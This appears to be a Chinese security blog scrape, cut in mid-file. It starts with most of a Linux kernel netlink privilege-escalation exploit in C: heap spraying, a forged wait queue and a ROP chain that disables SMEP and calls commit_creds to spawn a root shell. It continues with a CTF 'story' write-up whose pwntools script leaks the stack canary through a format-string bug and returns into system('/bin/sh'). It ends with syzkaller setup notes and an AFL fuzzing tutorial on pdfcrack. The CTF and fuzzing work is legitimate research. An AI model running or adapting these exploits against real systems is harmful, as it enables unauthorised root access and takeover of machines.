    int send ;
    int fd;
    struct msghdr *msg;
    int flag;
};
static void *thread3(struct thread3_arg *arg){
    sendmsg(arg->fd,arg->msg,0);
}
void heap_spray(int nlk_fd){
    int sfd = -1;
    int rfd = -1;
    sfd = socket(AF_UNIX,SOCK_DGRAM,0);
    rfd = socket(AF_UNIX,SOCK_DGRAM,0);
    if (rfd<0||sfd<0){
        perror("heap spray socket");
        exit(-1);
    }
    printf("send fd : %d\nrecv fd : %d\n",sfd,rfd);

    char *saddr = "@test";
    struct sockaddr_un serv;
    serv.sun_family = AF_UNIX;
    strcpy(serv.sun_path,saddr);
    serv.sun_path[0] = 0;    
    if(bind(rfd,(struct sockaddr*)&serv,sizeof(serv))){
        perror("heap spray bind");
        exit(-1);
    }
    if(connect(sfd,(struct sockaddr*)&serv,sizeof(serv))){
        perror("heap spray bind");
        exit(-1);
    }

    struct msghdr msg;
    memset(&msg,0,sizeof(msg));
    struct iovec iov;
    char iovbuf[10];
    iov.iov_base = iovbuf;
    iov.iov_len = 10;
    char buf[1024];
    memset(buf,0x41,1024);
    struct cmsghdr *pbuf;
    pbuf = (struct cmsghdr*)buf;
    pbuf->cmsg_len = 1024;
    pbuf->cmsg_level = 0;
    pbuf->cmsg_type = 1;
    *(unsigned int*)((char*)buf+0x2b0) = 0x12345678;/*portid*/
    *(unsigned long*)((char*)buf+0x2c8) = 0;       /*groups*/
    struct u_wait_queue uwq;   /*在用户空间伪造的u_wait_queue_t*/
    memset(&uwq,0x66,sizeof(uwq));
    uwq.flag = 0x01;
    //uwq.func = 0xdeadbeefdeadbeef;
    uwq.func = 0xffffffff81000085; /* swapgs ; ret; addr*/
    uwq.next = &(uwq.next);
    uwq.prev = &(uwq.next);
    printf("buf : %p\nuwq : %p\n",buf,&(uwq.next));
    *(unsigned long*)((char*)buf+0x2e8) = (void*)(&(uwq.next));/*覆盖netlink_sock->wait->tasklist.next,为用户空间fake uwq的next地址*/
    //*(unsigned long*)((char*)buf+0x2f0) = (void*)0x4444444444444444;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    //msg.msg_controllen = 0;
    /*下面是伪造栈,通过xchg,迁移过来*/
    size_t *p = ((unsigned int)&uwq)&0xffffffff;
    size_t *ptmp = p-0x20;
    mmap(ptmp, 0x200, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    /*
    0xffffffff8100abde : pop rax ; ret
    0xffffffff811b265d : pop rdi ; ret
    0xffffffff8105c144 : pop rbx ; ret
    0xffffffff813b3eba : mov rdi, rax ; call rbx
    commit_creds = 0xffffffff810a1720 ;
    prepare_kernel_cred = 0xffffffff810a1a60;
    */
    int r = 0;
    p[r++] = 0xffffffff811b265d ;// pop rdi ; ret
    p[r++] = 0x6f0;
    p[r++] = 0xffffffff810031bd ;// mov cr4, rdi ; pop rbp ; ret
    p[r++] = (unsigned long)p+0x100;
    p[r++] = 0xffffffff8100abde;
    p[r++] = 0;
    p[r++] = 0xffffffff811b265d;
    p[r++] = 0;
    p[r++] = 0xffffffff810a1a60; //prepare_kernel_cred
    p[r++] = 0xffffffff8133ff34 ;// mov rdi, rax ; mov rax, rdi ; pop rbx ; pop rbp ; ret
    p[r++] = 0;
    p[r++] = (unsigned long)p+0x100;
    p[r++] = 0xffffffff810a1720;
    p[r++] = 0xffffffff81063d54 ;// swapgs ; pop rbp ; ret
    p[r++] = p+0x100;
    p[r++] = 0xffffffff811b265d;
    p[r++] = getshell;
    p[r++] = 0xffffffff818410c7 ; // iretd ; call rdi
    p[r++] = (unsigned long)getshell;
    p[r++] = user_cs;
    p[r++] = user_eflags;
    p[r++] = (unsigned long)p;
    p[r++] = user_ss;
    p[r++] = 0xdeadbeefdeadbeef;
    p[r++] = 0xdeadbeefdeadbeef;
    p[r++] = 0xdeadbeefdeadbeef;
    p[r++] = 0xdeadbeefdeadbeef;

    struct timeval tv;
    memset(&tv,0,sizeof(tv));
    tv.tv_sec = 0;
    tv.tv_usec = 0;
    if(setsockopt(rfd,SOL_SOCKET,SO_SNDTIMEO,&tv,sizeof(tv))){
        perror("heap spary setsockopt");
        exit(-1);
    }
    puts("set timeo ==> ok");
    while(sendmsg(sfd,&msg,MSG_DONTWAIT)>0);
    if (errno != EAGAIN)
    { 
        perror("[-] sendmsg");
        exit(-1);
    }
    puts("sk_wmem_alloc > sk_snfbuf");
    puts("[*] ==> sendmsg");
    msg.msg_control = buf;
    msg.msg_controllen = 1024;
    struct thread3_arg t3;
    t3.fd = sfd;
    t3.send = 0;
    t3.flag = 0;
    t3.msg = &msg;
    int i = 0;
    pthread_t pid;
    //sendmsg(sfd,&msg,0);
    for(i=0;i<10;i++){
        if(errno = pthread_create(&pid,NULL,thread3,&t3)){
            perror("pthread_create ");
            exit(-1);
        }      
    } 
}


int main(){
    int fd = -1;
    save_stats();//save cs ss rflags;
    fd = add_rmem_alloc();// 
    tiger(fd);
    tiger(fd);
    heap_spray(fd);
    sleep(2);
    struct sockaddr_nl j_addr;
    int j_addr_len = sizeof(j_addr);
    memset(&j_addr, 0, sizeof(j_addr));
    if(getsockname(fd,(struct sockaddr*)&j_addr,&j_addr_len)){
        perror("getsockname ");
    }
    printf("portid : %x\n",j_addr.nl_pid);
    puts("ok");
    int optval = 1;
    printf("user_cs : %x\nuser_rflags : %x\nuser_ss : %x\n",user_cs,user_eflags,user_ss);
    setsockopt(fd,SOL_NETLINK,NETLINK_NO_ENOBUFS,&optval,5);
    close(fd);
    return 0;
}

西湖论剑杯 - story

分析


首先在input id的时候发现了存在格式化字符串漏洞


在输入story的时候出现栈溢出


而且程序开启了各种保护,存在canary,got表不能改写

思路

存在canary可以通过格式化字符串leak得到,又因为存在栈溢出,可以通过rop,泄露函数地址从而获取对应的libc版本,并且可以得到system函数地址或者使用onegadget

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
#p = process(["./story"],env={"LD_PRELOAD":"./libc"})
#p = process("./story")
p = remote("ctf2.linkedbyx.com",10895)
def debug():
    gdb.attach(p,"b *0x4009a0")
    raw_input("debug")
p.recvuntil("Please Tell Your ID:")
p.sendline("%15$p")
p.recvuntil("Hello 0x")
canary = int(p.recv(16),16)
p.recvuntil("Tell me the size of your story:\n")
prr = 0x0000000000400bd3
payload = "a"*0x88+p64(canary)+"a"*8+p64(prr)+p64(0x601fa8)+p64(0x400720)+p64(0x400876)
p.sendline("500")
p.recv()
p.sendline(payload)
p.recv(1)

puts = u64(p.recv(6).ljust(8,"\x00"))
log.info("puts : %x"%puts)
#debug()
p.recv()
p.sendline("test")
p.recv()
p.sendline("500")

poff = 0x06f690
system = puts - poff +0x045390
bin = puts - poff + 0x18cd57
pay = "b"*0x88+p64(canary)+"a"*8+p64(prr)+p64(bin)+p64(system)
p.recv()
p.sendline(pay)

p.interactive()

折腾syzkaller过程中遇到的一些问题

qemu版本问题

使用低版本qemu 出现Failed to set MSR....,等问题,换用了qemu 3.1就可解决

qemu虚拟机

出现非ok的情况,比如network interface启动失败
这可能是编译内核的时候配置文件配置的问题,按照官方文档把所有的都启用就可以了

内存

如果你像我一样用的win+vm(ubuntu+(qemu))这中结构的话,一定要给ubuntu足够的内存,我的电脑8g,分给ubuntu 4g

fuzzer实例失去连接,或者提示内存不足

一般是syzkaller 启动的config文件里面开启了开多的vm,而且分配的内存太大导致
我的config文件

{
    "target": "linux/amd64",
    "http": "127.0.0.1:56741",
    "workdir": "/home/kaka/syzkaller/workdir",
    "kernel_obj": "/home/kaka/kernel/linux-4.13",
    "image": "/home/kaka/syzkaller/src/github.com/google/syzkaller/tools/stretch.img",
    "sshkey": "/home/kaka/syzkaller/src/github.com/google/syzkaller/tools/stretch.id_rsa",
    "syzkaller": "/home/kaka/syzkaller/src/github.com/google/syzkaller",
    "procs": 8,
    "type": "qemu",
    "vm": {
        "count": 2,
        "kernel": "/home/kaka/kernel/linux-4.13/arch/x86/boot/bzImage",
        "cpu": 2,
        "mem": 1024
    }
}

使用afl-fuzz 发现pdfcrack漏洞(新手文章)

看这篇文章之前可以先阅读一下这篇文章 AFL漏洞挖掘技术漫谈(一):用AFL开始你的第一次Fuzzing

准备

  • afl-fuzz 2.5.2
  • pdfcrack source 0.16
  • ubuntu 18.04

编译

首先对pdfcrack source进行编译,编译的时候我们尽量采用afl自带的gcc进行编译,afl-gcc在编译时可以进行插桩,使用如下命令:

CC=afl-gcc make

此时pdfcrack已经可以使用了

kaka@kaka-virtual-machine:~/pdfcrack$ ./pdfcrack-0.16/pdfcrack 
Usage: ./pdfcrack-0.16/pdfcrack -f filename [OPTIONS]
OPTIONS:
-b, --bench        perform benchmark and exit
-c, --charset=STRING    Use the characters in STRING as charset
-w, --wordlist=FILE    Use FILE as source of passwords to try
-n, --minpw=INTEGER    Skip trying passwords shorter than this
-m, --maxpw=INTEGER    Stop when reaching this passwordlength
-l, --loadState=FILE    Continue from the state saved in FILENAME
-o, --owner        Work with the ownerpassword
-u, --user        Work with the userpassword (default)
-p, --password=STRING    Give userpassword to speed up breaking
            ownerpassword (implies -o)
-q, --quiet        Run quietly
-s, --permutate        Try permutating the passwords (currently only
            supports switching first character to uppercase)
-v, --version        Print version and exit

该软件可以对已加密的pdf进行破解密码

afl自带的testcase里面也已经自带了pdf样本

/testcases/others/pdf/small.pdf

先用pdfcrack测试一下这个样本,发现报错了

kaka@kaka-virtual-machine:~/pdfcrack$ ./pdfcrack-0.16/pdfcrack /home/kaka/afl-2.52b/testcases/others/pdf/small.pdf
Error: Encryption not detected (is the document password protected?)

报错提示我们这是一个没有密码保护的pdf文件,我们可以通过一些在线的pdf加密的网站对该文件进行加密。

准备fuzz

首先建立两个文件夹---输入,输出文件夹,我这里命名为in,out
此时的目录结构

kaka@kaka-virtual-machine:~/pdfcrack$ ls -l
total 28
drwxrwxr-x 2 kaka kaka 4096 12月 29 10:27 in
drwxrwxr-x 5 kaka kaka 4096 12月 29 10:34 out
drwxrwxr-x 5 kaka kaka 4096 12月 29 10:34 out1
drwxr-xr-x 4 kaka root 4096 12月 28 16:54 pdfcrack-0.16
-rw------- 1 kaka kaka 1274 12月 28 19:06 p.pdf

(多出来的out1是我做其他测试用的,p.pdf是已经有密码保护的pdf文件)

在这里我直接对程序进行fuzz,发现过了好久都没有发生崩溃,再回顾一下上面程序所展示的一些功能,这个参数引起了注意

-l, --loadState=FILE    Continue from the state saved in FILENAME

意思差不多是如果一次恢复密码没有完成的话,可能会产生一个中间文件,下次可以直接load这个文件,继续上次的任务。

这样我们先测试一下,需要注意的是,在对pdf文件进行加密的时候,尽量密码选择的稍微复杂一点,要不然在破解密码的时候,还没来得及按CTRL+c,就已经破解完了。

kaka@kaka-virtual-machine:~/pdfcrack$ ./pdfcrack-0.16/pdfcrack p.pdf 

PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -4
Length: 128
Encrypted Metadata: True
FileID: bf009c4d37b7fbbf18a17a2e0ab6e4ba
U: 534a8f91a56dbccdce2886f6ab041f5f28bf4e5e4e758a4164004e56fffa0108
O: 09bb0b88f5eeb18f87b82246a416c481a0877462a4cb401676f49569404c7a0a

程序在这个状态停留了一会,我们可以选择在此时,停止破解

U: 534a8f91a56dbccdce2886f6ab041f5f28bf4e5e4e758a4164004e56fffa0108
O: 09bb0b88f5eeb18f87b82246a416c481a0877462a4cb401676f49569404c7a0a
^CCaught signal 2!
Trying to save state...
Successfully saved state to savedstate.sav!
kaka@kaka-virtual-machine:~/pdfcrack$ ls -l
total 28
drwxrwxr-x 2 kaka kaka 4096 12月 29 10:27 in
drwxrwxr-x 5 kaka kaka 4096 12月 29 10:44 out
drwxrwxr-x 5 kaka kaka 4096 12月 29 10:44 out1
drwxr-xr-x 4 kaka root 4096 12月 28 16:54 pdfcrack-0.16
-rw------- 1 kaka kaka 1274 12月 28 19:06 p.pdf
-rw-rw-r-- 1 kaka kaka  583 12月 29 10:44 savedstate.sav

程序自动生成了一个.sav文件,可以在当前目录下看到

然后使用 -l 参数确实可以继续破解

我们把这个sav文件放到in/文件夹内,使用下面的命令就可以开始fuzz了

在此之前先执行

echo core >/proc/sys/kernel/core_pattern
afl-fuzz -i in/ -o out/  ./pdfcrack-0.16/pdfcrack -l @@

但是又出现了

[-] PROGRAM ABORT : Test case 'id:000000,orig:s1.sav' results in a timeout
         Location : perform_dry_run(), afl-fuzz.c:2777

推测程序执行可能超时了,再加上 -t 参数

afl-fuzz -i in/ -o out/ -t 5000  ./pdfcrack-0.16/pdfcrack -l @@

这样就可以正常执行了

alt

关于cpu占用率:因为afl只占用一个cpu逻辑内核,所以不会占用太高,因此可以开多个afl进行并行测试。

等一会就会发现崩溃了

崩溃的文件会存放在out/crash/文件夹中

分析

取一个文件重命名为test,作为例子进行简略分析

kaka@kaka-virtual-machine:~/pdfcrack$ cp out/crashes/id\:000000\,sig\:11\,src\:000000\,op\:flip1\,pos\:12 test
kaka@kaka-virtual-machine:~/pdfcrack$ ./pdfcrack-0.16/pdfcrack -l test 
Loaded state for test
PDF version 1.6
Security Handler: dard
O: 
V: 2
R: 7
P: -4
Length: 128
Encrypted Metadata: True
FileID: bf009c4d37b7fbbf18a17a2e0ab6e4ba
U: 534a8f91a56dbccdce2886f6ab041f5f28bf4e5e4e758a4164004e56fffa0108
O: 09bb0b88f5eeb18f87b82246a416c481a0877462a4cb401676f49569404c7a0a
Segmentation fault

确实出现了段错误

利用gdb分析

pwndbg> bt
#0  0x0000000000000000 in ?? ()
#1  0x000000000040ff99 in runCrackRev3 () at pdfcrack.c:418
#2  0x0000000000412945 in runCrack () at pdfcrack.c:556
#3  0x0000000000402505 in main (argc=argc@entry=3, argv=argv@entry=0x7fffffffde08) at main.c:309
#4  0x00007ffff7a2d830 in __libc_start_main (main=0x4012f0 <main>, argc=3, argv=0x7fffffffde08, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffddf8) at ../csu/libc-start.c:291
#5  0x00000000004030e9 in _start ()

通过bt发现访问到一个空指针

In file: /home/kaka/pdfcrack/pdfcrack-0.16/md5.c
   328   else
   329     md5_50_variant = &md5_50s;
   330 }
   331 
   332 void
 ► 333 md5_50(uint8_t *msg, const unsigned int msgLen) {
   334   md5_50_variant(msg, msgLen);
   335 }
─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffda58 —▸ 0x40ff99 (runCrackRev3+313) ◂— mov    rcx, qword ptr [rip + 0x2164f8]
01:0008│      0x7fffffffda60 —▸ 0x6282c0 ◂— 0xbffbb7374d9c00bf
02:0010│      0x7fffffffda68 ◂— 0x0
03:0018│ rdi  0x7fffffffda70 ◂— 0x955d1951d4792cb7
04:0020│      0x7fffffffda78 ◂— 0x36a3a3da42528292
05:0028│      0x7fffffffda80 ◂— 0x2
06:0030│      0x7fffffffda88 ◂— 0x0
... ↓
───────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
 ► f 0           40ab5a md5_50+58
   f 1           40ff99 runCrackRev3+313
   f 2           412945 runCrack+309
   f 3           402505 main+4629
   f 4     7ffff7a2d830 __libc_start_main+240
pwndbg> p md5_50_variant 
$1 = (void (*)()) 0x0
pwndbg> hexdump $rip+0x21b8e0
+0000 0x62643a  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│
...
+0020 0x62645a  00 00 00 00  00 00 01 00  00 00 00 00  00 00 00 00  │....│....│....│....│
+0030 0x62646a  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│

程序在jmp的时候访问到了一个空指针导致程序崩溃。

结合源码可知,此处应该调用md5_50_variant函数,但是该函数指针为0导致出现段错误

相关链接:http://tudr.thapar.edu:8080/jspui/bitstream/10266/4500/4/4500.pdf

preView